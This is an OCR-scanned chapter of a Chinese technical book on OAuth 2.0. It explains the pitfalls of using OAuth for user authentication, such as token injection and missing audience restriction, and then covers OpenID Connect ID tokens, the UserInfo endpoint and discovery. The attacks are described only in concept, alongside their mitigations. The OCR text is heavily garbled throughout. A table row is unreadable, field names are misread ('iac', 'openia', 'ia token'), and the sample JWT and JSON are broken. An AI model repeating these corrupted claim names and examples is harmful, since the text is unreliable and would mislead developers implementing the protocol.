发 布 更 新 。 对 于 已 经 使 用 OAuth 2.0 进行 API 保 护 的 服务 , 要 提供 身份 认证 服务 也 无 须 太 大 改动 。 
在 当今 由 API 驱动 的 Web 环境 下 ， 这 种 包括 身份 信息 的 服务 扩展 被 证 明 是 很 有 用 的 。 

以 上 这 些 都 能 很 好 地 适应 OAuth 2.0 访问 模型 ， 而 且 其 简单 特性 极 具 吸引 力 。 但 是 ， 同 时 使 
用 身份 和 授权 , 让 很 多 开发 人 员 将 这 两 个 功能 混为一谈 。 让 我 们 来 看 看 这 种 方案 可 能 造成 的 几 个 
常见 错误 。 


13.4 ”使 用 OAuth 2.0 进行 身份 认证 的 常见 陷阱 


我 们 已 经 证 明了 在 OAuth 之 上 构建 身份 认证 协议 是 可 行 的 ， 但 在 实施 过 程 中 往往 存在 很 多 
陷阱 。 在 身份 提供 方 和 身份 使 用 方 这 两 边 都 有 可 能 犯错 ,而 且 很 多 情况 下 都 源 于 对 协议 各 部 分 描 
述 的 误解 。 


13.4.1 将 访问 令 牌 作为 身份 认证 的 证 明 


由 于 资源 拥有 者 通常 需要 在 令 牌 颁发 之 前 在 授权 端点 进行 身份 认证 , 接收 到 的 令 牌 很 容易 被 
当 作 身份 认证 的 证 明 。 然而 , 令 牌 本 身 并 不 传递 有 关 身 份 认证 事件 的 信息 ,其 至 不 能 表明 在 这 一 
事务 过 程 中 是 否 有 吴 份 认证 事件 发 生 。 毕竟 , 令 牌 有 可 能 颁发 自 一 个 长 期 ( 可 能 被 动 持 ) 的 会 话 ， 
或 者 可 能 被 自动 授予 一 些 非 个 人 的 权限 范围 。 令 牌 可 能 是 直接 颁发 给 客户 端的 , 使 用 的 是 无 须 用 
户 交 互 的 OAuth 2.0 许可 类 型 ， 比 如 客户 端 凭据 、 断 言 ， 或 者 刷新 令 牌 调用 。 此 外 ， 如 果 客 户 端 
不 仔细 检查 令 牌 的 颁发 方 ， 则 有 可 能 收 到 被 注入 的 、 本 应 颁发 给 其 他 客户 端的 令 牌 (参见 13.4.3 
节 了 解 详细 信息 )。 

无 论 如 何 ， 客 户 端 都 无 法 从 访问 令 牌 中 得 到 关于 用 户 及 其 登录 状态 的 信息 。 之 所 以 这 样 ， 是 
因为 客户 端 并 不 是 OAuth 2.0 访问 令 牌 的 目标 受众 。 在 OAuth 2.0 中 ， 访 问 令 牌 在 设计 上 对 客户 
端 是 不 透明 的 ， 而 客户 端 需要 能 够 从 令 牌 中 获取 用 户 身 份 信息 。 相 反 , 客户 端 是 访问 令 牌 的 出 示 
者 ， 而 受 保 护 资源 才 是 受众 。 

现在 , 我们 可 以 定义 一 种 令 牌 格式 ,让 客户 端 能 够 解析 并 理解 。 该 令 牌 会 携带 有 关 用 户 的 信 
息 以 及 身份 认证 的 上 下 文 ， 客户 端 可 以 读 取 并 验证 这 些 信 息 。 但 是 ，OAuth 2.0 并 没有 为 访问 令 牌 
定义 一 种 特定 的 格式 或 结构 ， 很 多 现 有 的 OAuth 部 署 都 有 属于 自己 的 令 牌 格式 。 另 外 ， 访 问 令 牌 
的 有 效 时 间 可 能 会 超过 令 牌 结构 中 所 表示 的 身份 认证 事件 的 有 效 期 。 由 于 令 牌 会 被 传递 给 受 保护 
资源 , 而 有 些 受 保护 资源 是 与 身份 认证 无 关 的 , 若 它们 接触 了 与 用 户 登 录 相 关 的 敏感 信息 会 带 3 
一 些 潜 在 的 问题 。 为 了 解决 这 些 问题 ， 一 些 如 OpenID Connect 的 ID 令 牌 以 及 Facebook Connect 
的 签名 响应 ( signed response ) 的 协议 提供 了 一 种 辅助 的 令 牌 ， 用 于 将 身份 认证 信息 直接 传递 给 
客户 端 。 这 样 就 能 让 主 访问 令 牌 仍 然 对 客户 端 保持 不 透明 ( 与 常规 的 OAuth 一 样 )， 而 辅助 的 身 
份 认证 令 牌 可 以 被 明确 定义 和 解析 。 


























































































































































































































13.4 使 用 OAuth 2.0 进 行 身 份 认证 的 常见 陷阱 209 





13.4.2 ”将 对 受 保护 API 的 访问 作为 身份 认证 的 证 明 


即使 客户 端 不 能 理解 令 牌 , 它 也 总 是 能 将 令 牌 出 示 给 受 保护 资源 。 如果 定 义 一 个 受 保护 资源 ， 
它 能 告诉 客户 端 令 牌 是 由 谁 颁发 的 , 会 怎么 样 呢 ? 因为 可 以 使 用 访问 令 牌 换取 一 些 用 户 信息 , 所 
以 很 容易 就 认为 只 要 拥有 一 个 有 将 的 访问 令 牌 ， 就 能 证 明 用 户 已 登录 。 

这 一 思路 仅 在 某 些 情况 下 是 正确 的 , 即 用 户 在 授权 服务 右上 完成 身份 认证 , 并 在 此 环境 下 刚 
生成 访问 令 牌 的 时 候 。 但 别 忘 了 ， 这 不 是 OAuth 中 获取 访问 令 牌 的 唯一 方式 。 使 用 刷新 令 牌 以 
及 断言 可 以 在 用 户 不 在 场 的 情况 下 获取 令 牌 , 而 且 还 有 些 情 况 下 无 须 用 户 身 份 认证 就 能 完成 授权 
许可 。 

而 且 , 一 般 情况 下 访问 令 牌 在 用 户 离 场 之 后 还 能 使 用 很 长 时 间 。 受 保护 资源 仅 靠 令 牌 一 般 无 

法 判断 出 用 户 是 否 在 场 ， 因 为 根据 OAuth 2.0 的 特性 ， 用 户 不 会 参与 客户 端 与 受 保护 资源 之 间 的 
连接 。 在 许多 大 型 的 OAuth 生态 系统 中 ,用 户 通常 无 法 向 受 保护 资源 进行 身份 认证 。 虽 然 受 保 
护 资源 有 可 能 知道 令 牌 最 初 由 哪个 用 户 授权 ， 但 是 它 无 法 知晓 用 户 的 当前 状态 。 
当 授权 事件 与 在 受 保护 资源 上 使 用 令 牌 的 时 间 相 隔 很 久 时 ,就 很 成 问题 。 无 论 是 在 客户 端 还 
是 在 授权 服务 器 上 ， 当 用 户 不 在 场 时 ，OAuth 2.0 依然 能 起 作用 ， 但 是 身份 认证 协议 的 核心 在 于 
确定 用 户 是 否 在 场 ， 而 客户 端 无 法 靠 持 有 访问 令 牌 来 确定 用 户 是 否 在 场 。 要 解决 这 个 问题 ， 客 户 
端 必须 确定 令 牌 是 刚 颁发 的 , 并 且 不 能 仅 因 为 能 够 使 用 令 牌 访 问 用 户 API 就 认为 用 户 在 场 。 也 可 
以 这 样 来 解决 这 个 问题 : 使 用 一 种 只 能 由 IdP 直接 分 发 给 客户 端的 令 牌 〈 或 者 信息 )， 比 如 上 一 
节 讨 论 过 的 ID 令 牌 和 签名 响应 。 这 种 令 牌 的 生命 周期 独立 于 访问 令 牌 ， 而 且 其 内 容 可 以 与 受 保 
护 资源 的 任何 其 他 信息 一 起 使 用 。 


13.4.3 ”访问 令 牌 注入 


当 客 户 端 接收 到 的 令 牌 不 是 来 自 最 初 的 令 牌 端点 请 求 的 响应 , 则 会 出 现 另 一 个 威胁 。 对 于 使 
用 隐 式 许可 流程 的 客户 端 来 说 情况 尤为 严重 ， 其 令 牌 是 通过 URL 中 的 散 列 参数 直接 传递 给 客户 
端的 。 攻 击 者 可 以 先 获 取 一 个 令 牌 ,不 管 是 来 自 其 他 应 用 的 有 效 令 牌 还 是 伪造 的 令 牌 ， 然 后 将 它 
发 送 给 正在 等 待 接 收 令 牌 的 RP， 让 该 RP 误 以 为 这 就 是 它 请 求 的 令 牌 。 在 单纯 的 OAuth 2.0 中 ， 
它 能 够 欺骗 客户 端 让 其 访问 其 他 资源 拥有 者 的 资源 ， 而 在 身份 认证 协议 中 , 这 就 完全 变 成 了 灾难 
性 问题 ， 因 为 它 允 许 攻击 者 复制 令 牌 用 于 登录 别 的 应 用 。 

在 那些 允许 在 各 个 组 件 之 间 传 递 令 牌 来 “共享 ”访问 权限 的 应 用 中 ， 也 会 出 现 这 种 问题 。 
这 相当 于 打开 了 一 扇 门 , 让 外 部 应 用 有 机 会 向 内 注入 攻击 者 的 访问 令 牌 , 也 有 可 能 向 外 泄露 应 用 
的 令 牌 。 如 果 客 户 端 不 通过 某 种 机 制 验 证 访问 令 牌 的 有 效 性 , 它 将 无 法 区 分 有 效 令 牌 和 攻击 者 的 
令 牌 。 

可 以 通过 使 用 授权 码 许可 流程 而 不 使 用 隐 式 许可 流程 来 缓解 这 一 问题 ， 让 客户 端 只 接受 直 
接 来 自 授权 服务 器 令 牌 端点 的 令 牌 。 使 用 state 参数 可 以 让 客户 端 生 成 攻击 者 难以 猜测 的 值 。 
如 果 客 户 端 收 到 令 牌 时 发 现 该 参数 缺失 或 者 与 预期 值 不 一 致 ， 则 可 以 很 容易 地 视 该 令 牌 无 效 并 
拒绝 。 
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13.4.4 缺乏 目标 受众 限制 


大 多 数 OAuth 2.0 API 没有 任何 机 制 来 限制 其 返回 信息 的 目标 受众 。 也 就 是 说 ， 客 户 端 无 法 
分 辨 访问 令 牌 是 颁发 给 自己 的 还 是 其 他 客户 端的 。 这 就 有 可 能 将 一 个 来 自 其 他 客户 端的 有 效 令 牌 
交 给 一 个 单纯 的 客户 端 ， 然 后 让 它 去 请 求 用 户 API。 由 于 受 保护 资源 无 法 识别 发 送 请 求 的 客户 端 
的 身份 ， 只 能 验证 令 牌 是 否 有 效 ， 因 此 此 操作 将 会 返回 有 效 的 用 户 信 息 。 然而, 这些 信息 原本 是 
供 另 一 个 客户 端 访问 的 。 用 户 根 本 没有 对 那个 单纯 的 客户 端 授 权 ， 它 却 认为 用 户 已 经 登录 。 

将 一 个 能 被 客户 端 识 别 并 验证 的 标识 符 与 身份 认证 信息 一 起 发 送 , 可 以 缓解 这 个 问题 。 这 样 
就 能 让 客户 端 区 分 身份 认证 信息 的 目标 受众 是 自己 还 是 别 的 应 用 。 若 要 进一步 避免 此 类 攻击 , 还 
可 以 在 OAuth 2.0 的 流程 中 直接 将 身份 认证 信息 传递 给 客户 端 ， 不 使 用 例如 受 OAuth 2.0 保护 的 
API 这 种 辅助 机 制 ， 防 止 未 知 的 、 不 可 信 的 信息 在 后 面 的 流程 中 被 注入 。 
















































































13.4.5 “无 效用 户 信息 注 入 


如 果 攻 击 者 能 够 拦截 或 操纵 客户 端的 调用 , 那么 他 就 可 以 修改 返回 的 用 户 信息 ,而 客户 端 察 
觉 不 出 任何 问题 。 攻击 者 将 正确 调用 结果 中 的 用 户 标识 符 ( 在 用 户 信息 APT 的 返回 值 中 或 者 在 发 
送 给 客户 端的 令 牌 中 ) 蔡 换 掉 ， 就 可 以 在 一 个 单纯 的 客户 端 上 冒充 用 户 。 

加 密 保 护 并 验证 传递 给 客户 端的 身份 认证 信息 , 可 以 有 效 避 免 这 种 攻击 。 客 户 端 与 授权 服务 
器 之 间 的 所 有 通信 路 径 都 需要 通过 TLS 进行 保护 ， 而 且 客 户 端 在 连接 时 要 验证 服务 器 的 证 书 。 
另外 ， 服 务 器 可 以 对 用 户 信息 或 者 令 牌 〈 或 两 者 ) 进行 签名 ， 然 后 由 客户 端 验证 。 加 上 签名 后 ， 
即使 攻击 者 能 够 劫持 通信 双方 的 连接 ， 也 无 法 修改 或 注入 用 户 信息 。 


13.4.6 不 同 身份 提供 者 的 协议 各 不 相同 


基于 OAuth 2.0 的 身份 API 的 一 个 最 大 的 问题 是 ,不 同 的 身份 提供 者 实现 的 身份 API ES 
上 必然 不 同 , 即使 它们 都 以 完全 符合 标准 的 OAuth 为 基础 。 例 如 , 一 个 身份 提供 者 使 用 user_ia 
字段 表示 用 户 的 唯一 标识 符 , 而 男 一 个 身份 提供 者 使 用 的 是 sub。 虽 然 这 些 字段 在 语义 上 是 等 效 
的 , 但 在 代码 中 需要 使 用 不 同 的 分 支 进行 处 理 。 虽然 在 每 个 身份 提供 者 上 的 授权 过 程 可 能 都 是 相 
同 的 ， 但 身份 认证 信息 的 传输 可 能 不 相同 。 

之 所 以 存在 这 样 的 问题 , 是 因为 此 处 讨论 的 身份 认证 信息 的 传输 机 制 是 明确 被 排除 在 OAuth 
2.0 规范 之 外 的 。OAuth 2.0 没有 定义 特定 的 令 牌 格式 ， 没 有 定义 访问 令 牌 常用 的 权限 范围 ,也 没 
有 规定 受 保 护 资源 应 该 如 何 验证 令 牌 。 所 以 ,要 缓解 这 一 问题 ， 身 份 提供 者 应 该 统一 使 用 一 个 以 
OAuth 为 基础 的 标准 身份 认证 协议 。 这 样 一 来 ,不 管 身份 信息 来 自 何 处 ,它们 的 传输 方式 都 是 一 
样 的 。 那么， 是 否 存 在 这 样 的 标准 呢 ? 


13.5 OpenID Connect: 一 个 基于 OAuth 2.0 的 认证 和 身份 标准 


OpenID Connect 是 一 个 开放 标准 ， 由 OpenID 基金 会 于 2014 年 2 月 发 布 。 它 定义 了 一 种 使 
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用 OAuth 2.0 执行 用 户 身 份 认证 的 互通 方式 .本 质 上 , 它 是 一 个 被 广泛 传播 的 "巧克力 软 糖 配方 ”， 
已 经 经 过 众多 实施 者 的 构建 和 测试 。 作 为 开放 标准 ，OpenID Connect 的 实施 不 需要 许可 ， 也 无 
须 担心 知识 产权 方面 的 问题 。 由 于 该 协议 的 设计 具有 互通 性 , — OpenID 客户 端 应 用 可 以 使 用 
同一 套 协议 语言 与 不 同 的 身份 提供 者 交互 ， 而 不 需要 为 每 一 个 身份 提供 者 实现 一 套 有 细微 差别 
的 协议 。 

OpenID Connect 直接 基于 OAuth 2.0 构建 ， 并 保持 与 它 兼容 。 在 多 数 情况 下 ， 它 与 保护 其 他 
API 的 单纯 OAuth 基础 架构 部 署 在 一 起 。 除 了 OAuth 2.0 之 外 ，OpenID Connect 还 使 用 了 JOSE 
规范 套件 ( 参见 第 11 章 ), 用 于 在 不 同 地 方 传输 经 过 签名 和 加 密 的 信息 。 带 有 JOSE 功能 的 OAuth 
2.0 部 署 已 经 离 完整 的 OpenID Connect 系统 不 远 了 , 但 这 一 点 距离 导致 的 差异 是 巨大 的 。OpenID 
Connect 在 OAuth 2.0 的 基础 上 添加 了 一 些 关键 组 件 ， 得 以 避免 前 面 讨论 的 那些 陷阱 。 
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13.5.4 ID 令 牌 


OpenID Connect 的 ID 令 牌 是 一 个 经 过 签名 的 JWT, 它 与 普通 的 OAuth 访问 令 牌 一 起 提供 给 
客户 端 应 用 。 与 访问 令 牌 不 同 的 是 ，ID 令 牌 是 发 送 给 RP 的 ， 并 且 要 被 它 解析 。 
与 在 第 11 章 生成 的 已 签名 访问 令 牌 一 样 ，DD 令 牌 包含 一 组 关于 身份 认证 会 话 的 声明 ， 包 括 
一 个 用 户 标识 符 ( sub )、 颁 发 给 该 令 牌 的 身份 提供 者 标识 符 ( iss )， 以 及 该 令 牌 的 目标 客户 端 
标识 符 (aud )。 另外, ID 令 牌 还 包含 令 牌 本 身 的 有 效 时 间 窗 口 信息 ( 使 用 的 是 exp 和 iac 声明 )， 
以 及 其 他 需要 传递 给 客户 端的 关于 身份 认证 上 下 文 的 信息 。 例 如 , 令 牌 可 以 指明 用 户 在 多 久 以 前 
使 用 主要 身份 认证 机 制 认证 过 ( auth_time ), 或 者 在 ItP 上 使 用 的 主要 身份 认证 的 类 型 ( acr )。 
ID 令 牌 还 可 以 包含 其 他 声明 ， 可 以 是 第 11 章 列 出 的 标准 JWT 声明 ， 也 可 以 是 OpenID Connect 
协议 的 扩展 声明 。 表 13-1 用 粗 体 表示 的 声明 是 必须 提供 的 。 


表 13-1 ID 令 牌 中 的 声明 
声明 名 称 声明 描述 






















































































































































































iss 令 牌 颁发 者 ; IdP 的 URL 

sub 令 牌 的 主体 ， 稳 定 且 唯一 的 IdP 上 的 用 户 标 识 符 。 它 的 值 通常 是 一 个 机 器 可 读 的 字符 串 ， 而 且 不 
应 该 将 它 作 为 用 户 名 

aud 令 牌 的 目标 受众 ; 必须 包含 RP 的 客户 端 ID 

exp 令 牌 的 到 期 时 间 戳 。 所 有 的 ID 令 牌 都 会 过 期 ， 而 且 一 般 都 很 快 

iat 颁发 令 牌 时 的 时 间 截 

auth time 用 户 在 IdP [385331 EHAMHA ERTA A [RD RO 

nonce RP 在 请 求 身 份 认 证 时 发 送 的 字符 串 ， 与 state 参数 类 似 ， 用 于 缓解 重 放 攻击 。 如 果 RP 发 送 了 
该 声明 则 必须 包含 

acr 身份 认证 上 下 文 的 引用 ， 用 于 表示 用 户 在 ItP 上 执行 的 身份 认证 的 整体 分 类 类 型 

amr 身份 认证 方法 的 引用 ， 用 于 表示 用 户 在 IdP 使 用 的 身份 认证 方法 

azp 该 令 牌 的 授权 获得 方 ; 如 果 包 含 此 声明 则 必须 为 RP 的 客户 端 ID 

at_hash 访问 令 牌 的 加 密 散 列 


c_hash 授权 码 的 加 密 散 列 
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ID 令 牌 是 通过 在 令 牌 端点 响应 中 增加 ia token 成 员 来 颁发 的 ， 是 在 访问 令 牌 基础 上 的 补 

















充 ， 而 不 是 替换 访 


问 令 牌 。 这 是 因为 这 两 种 令 牌 有 不 同 的 目标 受众 和 用 途 。 这 种 双 令 牌 的 方式 可 


以 让 访问 令 牌 如 同 在 常规 的 OAuth 中 那样 继续 保持 对 客户 端 不 透明 ， 而 让 ID 令 牌 能 够 被 解析 。 
而 且 ， 这 两 种 令 牌 还 具有 不 同 的 生命 周期 ，ID 令 牌 通常 会 很 快 过 期 。ID 令 牌 代表 一 个 单独 的 身 








份 认证 结果 , 并 且 
取 受 保护 资源 。 如 























永远 不 会 传递 给 外 部 服务 ， 而 访问 令 牌 可 以 在 用 户 离 开 后 的 很 长 时 间 内 用 于 获 
前 所 述 , 尽管 仍然 可 以 使 用 访问 令 牌 去 询问 最 初 是 谁 为 客户 端 授权 的 , 但 是 无 





























法 知道 用 户 现在 是 否 在 场 。 





{ 
"access_to 
"token typ 


"id token": 


ken": "987tghjkiu6trfghjuytrghj", 
e"; "Bearer", 
"eyJOeXAiOiJKV1QOiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jY 


Wxob3NOOjkwMDEvIiwic3ViljoiOVhFMylKSTMOLTAwMTMyOSISImF1ZCI6Im9hdXRoLWNsaWVu 


dCOxIiwiZX 
Mf6EmlFM T 
RcG3-dOg20 
RsSyKB707n0 
1TlR7ST7R7 
QcgchAmj1T 
J 





hwIjoxNDQwOTg3NTYXLCJpYXQiOjEONDA5ODYA1NjF9.LC5XJDhxhA5BLcCT3Vdhyxm 
pgL4qycbHy7JYsO6j1pGUBmAiXTO4AwhK1ql1UdjR5kUm ICcYa5foJUfdT9xFGDtOh 
xhX2r7nhCjzUnOIebr5POySGQ81jTO0cLm45edv rOBfSVPdwYGSa7QGdhBObJ8KJ, . 
9y1892ALwAfaQVoyCjYBOuiZM9Jb8yHsvyMEudvSD5urRuHnGny8YlGDIofP6SXh5- 
h9f£4Pa0lD9SXEzGUG816HjIFOCDA4aAJXxn OMIRGSfL8NI1Iz29PrZ2xqg8w2w84hB 
vaT80gg6w" 








最 后 ，ID 令 牌 本 身 由 身份 提供 者 的 密 钥 签名 ， 除 了 获取 令 牌 使 用 的 TLS 传输 保护 之 外 ， 这 
为 令 牌 内 的 声明 再 添加 了 一 层 保护 。 由 于 ID 令 牌 由 授权 服务 器 签名 ， 它 还 提供 了 两 个 字段 分 别 


表示 授权 码 和 访问 

















令 牌 的 独立 签名 (c hash 和 at_hash )。 客 户 端 可 以 验证 这 些 散 列 ， 但 授权 


码 和 访问 令 牌 仍然 对 客户 端 不 透明 ， 从 而 防止 所 有 类 型 的 注入 攻击 。 
通过 对 ID 令 牌 进行 一 些 简单 的 检查 ( 与 第 11 章 中 对 签名 JWT 的 检查 类 似 )， 可 以 让 客户 端 
免 受 大 量 和 常见 的 攻击 。 


(1) f pr ID S 








牌 以 确保 是 有 效 的 JWT， 并 获取 声明 信息 。 





口 按 “.” 字 符 分 割 字符 串 。 
口 对 每 一 部 分 进行 Base64URL 解码 。 
口 将 前 两 部 分 ( 头 部 和 载荷 ) 解析 为 JSON。 


(2) 使 用 IdP 公开 发 布 的 公 钥 验 证 令 牌 的 签名 。 


(3) 确保 ID 令 
(4) 确保 ID 令 


牌 是 由 可 信 的 IdP 颁发 的 。 
牌 的 目标 受众 列表 包含 当前 客户 端的 客户 端 标 识 符 。 








(5) 确认 过 期 时 间 、 颁 发 时 间 和 生效 时 间 的 时 间 戳 在 当前 时 间 点 是 合理 的 。 


(6) 如 果 nonc 

















e 字段 存在 ， 确 保 它 与 发 出 去 的 值 是 一 致 的 。 


(7) 如 果 有 必要 的 话 ， 验 证 授权 码 和 访问 令 牌 的 散 列 。 
以 上 步骤 都 是 机 械 的 例 行 检 查 ， 代 码 实现 也 很 简单 。OpenID Connect 也 支持 更 高 级 的 用 法 , 
允许 对 ID 令 牌 加 密 ， 这 只 是 会 稍微 改变 解析 和 验证 的 处 理 流程 ， 但 结果 不 变 。 


13.5.2 Userlnfo 端点 
ID 令 牌 已 经 包含 处 理 身份 认证 事件 所 需 的 所 有 信息 ， 足 以 让 OpenID Connect 客户 端 成 功 登 

















13.5 OpenID Connect: 一 个 基于 OAuth 2.0 的 认证 和 身份 标准 213 





录 。 然 而 ， 访 问 令 牌 也 可 用 于 保护 一 个 叫 作 UserInfo 端点 的 标准 受 保 护 资源 ， 它 包含 当前 用 户 的 
基本 信息 。 该 端点 返回 的 声明 不 存在 于 上 述 身份 认证 的 处 理 中 , 而 是 提供 了 一 些 附 加 的 身份 属性 ， 
这 让 该 身份 认证 协议 对 开发 人 员 更 有 价值 。 毕 竟 , 对 用 户 说 “早上 好 , Alice” 要 好 过 说 “早上 好 ， 
9XE3-JI34-00132A”。 

向 UserInfo 端点 发 送 的 请 求 是 简单 的 HTTP GET 和 POST 请 求 ， 并 且 需 要 附带 上 访问 令 牌 
(不 是 ID SH) 以 获得 权限 。 虽 然 与 OpenID Connect 的 很 多 请 求 一 样 ， 可 以 使 用 一 些 高 级 的 方 
法 ,但 普通 的 请 求 是 不 带 输 入 参数 的 。UserInfo 端点 的 受 保 护 资源 是 这 样 设 计 的 : 系统 中 所 有 用 
户 对 应 同一 个 资源 ， 而 不 是 为 每 一 个 用 户 分 配 不 同 的 资源 URI。IdP 会 通过 解析 访问 令 牌 的 内 容 
来 确定 所 请 求 的 是 哪个 用 户 。 

GET /userinfo HTTP/1.1 


Host: localhost:9002 
Accept: application/json 


由 UserInfo 端点 返回 的 响应 是 一 个 JSON 对 象 , 包含 关于 用 户 的 声明 。 这 些 声明 往往 不 易 发 生 
变化 ,所 以 一 般 会 将 UserInfo 端点 的 调用 结果 缓存 下 来 , 而 不 会 在 每 一 次 身份 认证 请 求 时 都 去 获取 。 
如 果 使 用 OpenID Connect 的 高 级 功能 ,得 到 的 UserInfo 响应 有 可 能 是 一 个 经 过 签名 或 加 密 的 JWT。 




































































HTTP/1.1 200 OK 
Content-type: application/json 


( 
"sub": "9XE3-JI34-001322A", 


"preferred username": "alice", 
"name": "Alice", 
"email": "alice.wonderlandGexample.com", 


"email verified": true 


j 
OpenID Connect 使 用 一 个 特殊 的 权限 范围 值 openia 来 控制 对 UserInfo 端点 的 访问 。 
OpenID Connect 定义 了 一 组 标准 化 的 OAuth 权限 范围 ， 对 应 于 用 户 属 性 的 子 集 (profile. email, 
phone, address, 参见 表 13-2 ), 允许 通过 普通 的 OAuth 事务 来 请 求 身份 认证 所 需 的 所 有 信息 。 
OpenID Connect 规范 对 每 个 权限 范围 以 及 它们 所 对 应 的 属性 都 进行 了 更 详细 的 说 明 。 
表 13-2 OAuth 权限 范围 与 OpenID Connect Userlnfo 声明 之 间 的 对 应 关系 
权限 范围 声 明 


openid sub 




















Name, family name, given name, middle name, nickname, preferred username, profile, 


profile E , f ! 
picture, website, gender, birthdate, zoneinfo, locale, updated at 
email email, email, verified 
address address, 是 一 个 JSON 对 象 .包含 formatted, street_address, locality, region, postal_code, 


country 


phone phone number, phone number, verified 
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OpenID Connect 定义 了 一 个 特殊 的 权限 范围 值 openida， 用 来 控制 访问 令 牌 对 UserInfo 端点 
整体 的 访问 。OpenID Connect 的 权限 范围 可 以 与 其 他 非 OpenID Connect 的 OAuth 2.0 访问 权限 范 
围 一 起 使 用 而 不 会 冲突 。 并 且 ,， 除了 保护 Userinfo 端点 以 外 ,该 访问 令 牌 还 可 以 同时 保护 多 个 其 
他 的 受 保护 资源 。 这 种 方式 使 得 一 个 OpenID Connect 身份 系统 可 以 与 一 个 OAuth 2.0 授权 系统 友 
好 地 共存 。 


13.5.3 ”动态 服务 器 发 现 与 客户 端 注册 


OAuth 2.0 的 设计 允许 各 种 部 署 方式 ， 但 是 规范 并 没有 规定 该 如 何 设 定 这 些 部 署 ， 或 者 组 件 
之 间 该 如 何 相 互 了 解 。 这 在 常规 的 OAuth 环境 中 是 可 以 接受 的 ， 因 为 一 个 授权 服务 器 只 保护 一 
个 特定 API， 并 且 两 者 通常 紧密 耦合 。OpenID Connect 定义 了 一 个 通用 的 API， 可 以 部 署 在 各 种 
客户 端 和 身份 提供 者 之 上 。 这 种 情况 下 , 要 让 每 一 个 客户 端 提 前 知道 每 一 个 身份 提供 者 的 信息 是 
不 现实 的 ， 而 要 求 每 一 个 身份 提供 者 了 解 每 一 个 潜在 客户 端 也 是 不 合理 的 。 

为 解决 这 个 问题 ，OpenID Connect 定义 了 一 个 发 现 协 议 ,“" 让 客户 端 可 以 很 容易 地 获取 关 
于 如 何 与 特定 身份 提供 者 交互 的 信息 。 这 个 发 现 的 过 程 分 两 步 完 成 。 首先 , 客户 端 需要 知道 dP 
的 发 布 者 URL. 这 可 以 直接 进行 配置 ， 比 如 使 用 如 图 13-4 所 示 的 NASCAR 形式 的 身份 提供 者 
选择 器 。 




































































选择 你 的 身份 提供 者 





E L2 Ea 


图 13-4. NASCAR 形式 的 身份 提供 者 选择 器 


或 者 ， 也 可 以 基于 WebFinger 协议 来 发 现 发 布 者 。WebFinger 的 工作 原理 是 提供 一 套 固定 的 
转换 规则 ， 将 常用 的 用 户 标 识 手 段 一 一 邮箱 地 址 一 一 作为 输入 ， 然 后 输出 一 个 发 现 URI ( 如 图 13-5 
所 示 )。 实 际 上 ， 发 现 URI 的 构造 过 程 是 将 邮件 地 址 的 域名 部 分 取出 ， 在 前 面 加 上 https:/， 在 结 
尾 加 上 /.well-known/webfinger。 你 还 可 以 传人 关于 用 户 最 初 输入 的 信息 或 者 你 所 要 查找 的 其 他 信 
E, 在 OpenID Connect 中 , 通过 HTTPS 向 此 发 现 URI 发 送 请 求 ， 即 可 确定 特定 的 用 户 地 址 对 应 
的 发 布 者 。 









































(D http://openid.net/specs/openid-connect-discovery-1_0.html 
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user@example.com 


https://example.com/.well-known/webfinger 
?resource= 
&rel=http://openid.net/specs/connect/1.0/issuer 





图 13-5 WebFinger 将 邮箱 地 址 转换 成 URI 


在 确定 发 布 者 之 后 , 客户 端 还 需要 知道 服务 器 的 基本 信息 , 比如 授权 端点 和 令 牌 端点 的 地 址 。 
在 上 一 步 得 到 的 发 布 者 URI 尾部 追加 /well-known/openid-configuration ， 然 后 向 得 到 的 新 URL 发 
送 请 求 ， 即 可 得 到 这 些 信息 。 该 请 求 返回 的 信息 是 一 个 JSON 文 档 ,， 包含 客 户 端 发 起 身份 认证 寻 
务 所 需 的 所 有 服务 器 属性 。 以 下 是 来 自 一 个 公用 测试 服务 器 的 示例 。 


( 























ig 



































"issuer": "https://example.com/", 

"request parameter supported": true, 

"registration endpoint": "https://example.com/register", 

"token endpoint": "https://example.com/token", 

"token endpoint auth methods supported": 

[ "client secret post", "client secret basic", "client secret jwt", 
"private key jwt", "none" ], 

"jwks uri": "https://example.com/jwk", 

"id token signing alg values supported": 

[ "HS256", "HS384", "HS512", "RS256", "RS384", "RS512", "ES256", "ES384", 
"ESb12", "PS256", "PS384", "PS512"., "none" ], 

"authorization endpoint": "https://example.com/authorize", 

"introspection endpoint": "https://example.com/introspect", 

"Service documentation": "https://example.com/about", 

"response types supported": 

[ "code", "token" ], 

"token endpoint auth, signing alg values supported": 

[ *HS256", "HS384", "HS512", "RS256', "RS384", "RS512", "ES256". "ES384". 
"ES512", "PS256", "PS384", "PS512" ], 

"revocation, endpoint": "https://example.com/revoke", 

"grant types supported": 

[ "authorization code", "implicit", "urn:ietf:params:oauth:grant- 
type:jwt-bearer", "client credentials", "urn:ietf:params:oauth:grant. 


type:redelegate" ], 
"Scopes, supported": 
[ "profile", "email", "address", "phone", "offline access", "openid" ], 
"userinfo endpoint": "https://example.com/userinfo", 
"op tos uri": "https://example.com/about", 
"op policy uri": "https://example.com/about", 
} 


客户 端 知 道 服务 器 的 信息 之 后 ， 服 务 器 也 需要 知道 客户 端的 信息 。 为 此 ，OpenID Connect 








216 第 13 章 将 OAuth 2.0 用 于 用 户 身份 认证 





定义 了 一 个 客户 端 注册 协议 , “可 以 让 客户 端 向 新 的 身份 提供 者 注册 。 第 12 章 介 绍 的 OAuth 动态 
客户 端 注册 协议 扩展 与 OpenID Connect 版 本 是 并 行 的 ， 并 且 两 者 是 相互 兼容 的 。 

借助 发 现 、 注 册 、 通 用 的 身份 API 以 及 最 终 用 户 的 决策 ，OpenID Connect 可 以 运行 在 整个 互 
联网 上 。 即 使 未 提前 相互 知晓 ， 两 个 相互 兼容 的 OpenID Connect 实例 也 可 以 进行 交互 ， 跨 安全 
边界 执行 授权 协议 。 


























13.5.4 5 OAuth 2.0 的 兼容 性 


虽然 拥有 如 此 强大 的 身份 认证 功能 , 但 OpenID Connect 在 设计 上 仍然 与 普通 的 OAuth 2.0 3& 
容 。 实际 上 ， 如 果 一 个 服务 已 经 使 用 了 OAuth2.0 和 JOSE 规范 (包括 JWT), 那么 该 服务 就 完全 
顺理成章 地 支持 OpenID Connect。 

为 便于 构建 优良 的 客户 端 应 用 ,OpenID Connect 工作 组 发 布 了 文档 , 描述 如 何 构建 基本 的 使 
用 授权 码 流程 的 OpenID Connect 客户 端 , “以 及 如 何 构建 隐 式 OpenID Connect 客户 端 。 ”这 两 个 
